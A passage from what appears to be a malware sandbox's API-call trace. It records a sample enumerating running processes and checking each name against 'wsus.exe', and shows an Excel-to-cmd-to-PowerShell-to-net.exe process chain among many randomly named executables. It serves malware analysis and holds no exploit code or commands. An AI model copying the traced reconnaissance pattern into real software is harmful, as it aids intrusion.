lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.916] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.916] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.916] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0073.916] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.917] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0073.917] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb94, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0073.917] lstrcmpA (lpString1="powershell.exe", lpString2="wsus.exe") returned -1 [0073.917] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd_.exe")) returned 1 [0073.918] lstrcmpA (lpString1="cmd_.exe", lpString2="wsus.exe") returned -1 [0073.918] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.086] lstrcmpA (lpString1="taskeng.exe", lpString2="wsus.exe") returned -1 [0074.086] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.087] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0074.087] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.087] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0074.087] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.088] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0074.088] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.088] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0074.089] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.089] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0074.089] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.090] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0074.090] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.090] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0074.090] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.091] lstrcmpA (lpString1="net.exe", lpString2="wsus.exe") returned -1 [0074.091] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.091] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0074.091] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x730075, th32ProcessID=0x65002e, th32DefaultHeapID=0x650078, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0074.092] CloseHandle (hObject=0x118) returned 1 [0074.092] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0074.093] Process32First (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.094] lstrcmpA (lpString1="[System Process]", lpString2="wsus.exe") returned -1 [0074.094] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.094] lstrcmpA (lpString1="System", lpString2="wsus.exe") returned -1 [0074.094] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.095] lstrcmpA (lpString1="smss.exe", lpString2="wsus.exe") returned -1 [0074.095] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.095] lstrcmpA (lpString1="csrss.exe", lpString2="wsus.exe") returned -1 [0074.095] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.096] lstrcmpA (lpString1="wininit.exe", lpString2="wsus.exe") returned -1 [0074.096] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.096] lstrcmpA (lpString1="csrss.exe", lpString2="wsus.exe") returned -1 [0074.096] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.097] lstrcmpA (lpString1="winlogon.exe", lpString2="wsus.exe") returned -1 [0074.097] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.097] lstrcmpA (lpString1="services.exe", lpString2="wsus.exe") returned -1 [0074.097] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.098] lstrcmpA (lpString1="lsass.exe", lpString2="wsus.exe") returned -1 [0074.098] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.098] lstrcmpA (lpString1="lsm.exe", lpString2="wsus.exe") returned -1 [0074.098] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.099] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.099] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.099] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.099] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.100] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.100] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.100] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.100] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.101] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.101] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.101] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.101] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.102] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.102] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.102] lstrcmpA (lpString1="spoolsv.exe", lpString2="wsus.exe") returned -1 [0074.102] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.102] lstrcmpA (lpString1="taskhost.exe", lpString2="wsus.exe") returned -1 [0074.103] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.103] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.103] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.103] lstrcmpA (lpString1="taskeng.exe", lpString2="wsus.exe") returned -1 [0074.104] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.104] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.104] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.104] lstrcmpA (lpString1="WmiPrvSE.exe", lpString2="wsus.exe") returned -1 [0074.104] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0074.105] lstrcmpA (lpString1="sppsvc.exe", lpString2="wsus.exe") returned -1 [0074.105] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.105] lstrcmpA (lpString1="dwm.exe", lpString2="wsus.exe") returned -1 [0074.105] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.106] lstrcmpA (lpString1="explorer.exe", lpString2="wsus.exe") returned -1 [0074.106] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.106] lstrcmpA (lpString1="audiodg.exe", lpString2="wsus.exe") returned -1 [0074.106] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.107] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.107] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.107] lstrcmpA (lpString1="WmiPrvSE.exe", lpString2="wsus.exe") returned -1 [0074.107] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.108] lstrcmpA (lpString1="taskhost.exe", lpString2="wsus.exe") returned -1 [0074.108] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0074.108] lstrcmpA (lpString1="ghana-reaction.exe", lpString2="wsus.exe") returned -1 [0074.108] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0074.109] lstrcmpA (lpString1="survive recipes.exe", lpString2="wsus.exe") returned -1 [0074.109] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0074.109] lstrcmpA (lpString1="wiley listprice immigration mn.exe", lpString2="wsus.exe") returned -1 [0074.109] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0074.110] lstrcmpA (lpString1="temp la various.exe", lpString2="wsus.exe") returned -1 [0074.110] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0074.110] lstrcmpA (lpString1="metropolitan storm.exe", lpString2="wsus.exe") returned -1 [0074.110] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0074.111] lstrcmpA (lpString1="thats-viewing-llc.exe", lpString2="wsus.exe") returned -1 [0074.111] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0074.111] lstrcmpA (lpString1="houses.exe", lpString2="wsus.exe") returned -1 [0074.111] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0074.112] lstrcmpA (lpString1="renewal.exe", lpString2="wsus.exe") returned -1 [0074.112] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0074.112] lstrcmpA (lpString1="zones transferred trainers.exe", lpString2="wsus.exe") returned 1 [0074.112] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0074.113] lstrcmpA (lpString1="courses ham.exe", lpString2="wsus.exe") returned -1 [0074.113] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0074.113] lstrcmpA (lpString1="canon.exe", lpString2="wsus.exe") returned -1 [0074.113] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0074.113] lstrcmpA (lpString1="fairlysettingoperational.exe", lpString2="wsus.exe") returned -1 [0074.113] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0074.114] lstrcmpA (lpString1="claimed desk.exe", lpString2="wsus.exe") returned -1 [0074.114] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0074.114] lstrcmpA (lpString1="mel_ds_cancelled.exe", lpString2="wsus.exe") returned -1 [0074.114] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0074.115] lstrcmpA (lpString1="appears_li_pressed_h.exe", lpString2="wsus.exe") returned -1 [0074.115] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0074.115] lstrcmpA (lpString1="quite-consumer-opera.exe", lpString2="wsus.exe") returned -1 [0074.115] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0074.116] lstrcmpA (lpString1="tile-conflict-specializing-authentic.exe", lpString2="wsus.exe") returned -1 [0074.116] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0074.116] lstrcmpA (lpString1="unlimited breakdown.exe", lpString2="wsus.exe") returned -1 [0074.116] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0074.117] lstrcmpA (lpString1="aluminiumglmessagesymptoms.exe", lpString2="wsus.exe") returned -1 [0074.117] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0074.117] lstrcmpA (lpString1="EXCEL.EXE", lpString2="wsus.exe") returned -1 [0074.117] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0074.118] lstrcmpA (lpString1="OSPPSVC.EXE", lpString2="wsus.exe") returned -1 [0074.118] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="MSOSYNC.EXE")) returned 1 [0074.118] lstrcmpA (lpString1="MSOSYNC.EXE", lpString2="wsus.exe") returned -1 [0074.118] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, 